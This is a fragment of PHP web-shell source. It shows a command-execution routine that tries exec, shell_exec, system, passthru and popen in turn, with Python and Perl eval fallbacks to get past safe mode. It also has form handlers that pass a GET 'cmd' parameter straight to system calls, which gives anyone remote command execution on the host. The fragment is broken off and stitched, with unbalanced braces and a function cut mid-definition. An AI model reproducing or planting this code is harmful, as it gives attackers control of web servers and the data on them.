function ex($cmd) { global $result; if (!empty($cmd)) { if (SAFEMODE) { if (extension_loaded("python")) { $result = python_eval("import os\nos.system('{$cmd}')"); if (empty($result)) { $result = python_eval('import os\\npwd = os.getcwd()\\nprint pwd\\nos.system("$cmd")'); } return $result; } elseif (extension_loaded("perl")) { $perl = new perl(); $perl->eval("system('{$cmd}')"); $result = $perl; return $result; } } else { if (funcex("exec")) { @exec($cmd, $result); $result = join("\n", $result); } elseif (funcex("shell_exec")) { $result = @shell_exec($cmd); } elseif (funcex("system")) { @ob_start(); @system($cmd); $result = @ob_get_contents(); @ob_end_clean(); } elseif (funcex("passthru")) { @ob_start(); @passthru($cmd); $result = @ob_get_contents(); @ob_end_clean(); } elseif (@is_resource($f = @popen($cmd, "r"))) { while (!@feof($f)) { $result .= @fread($f, 8192); } @pclose($f); } } } return $result; }
function pythonshelL($command) { return python_eval("\nimport os\nos.system('{$command}')\n"); }
$perl = new perl(); echo "<textarea rows='25' cols='75'>"; $perl->eval("system('" . $_GET['cmd'] . "')"); echo "</textarea>"; $_GET['cmd'] = htmlspecialchars($_GET['cmd']); echo "<br><form>[Perl]CMD: <input type=text name=cmd value='" . $_GET['cmd'] . "' size=25></form>"; } if (!extension_loaded('python')) { echo "<br>*python extension is not loaded\n"; } else { echo "<br><form>[Python]CMD: <input type=text name=cmd value='" . $_GET['cmd'] . "' size=25></form>"; //eval python code $cmd = $_GET['cmd']; $res = python_eval(' import os pwd = os.getcwd() print pwd os.system($cmd) '); //show result echo $res; } } function perlex() { if (extension_loaded('perl')) { echo '<strong>PERL</strong> - <i><u>Extension Loaded</u></i>'; } else { echo '<strong>PERL</strong> - <i><u>Extension Not Loaded</u></i>'; } } function pythonex()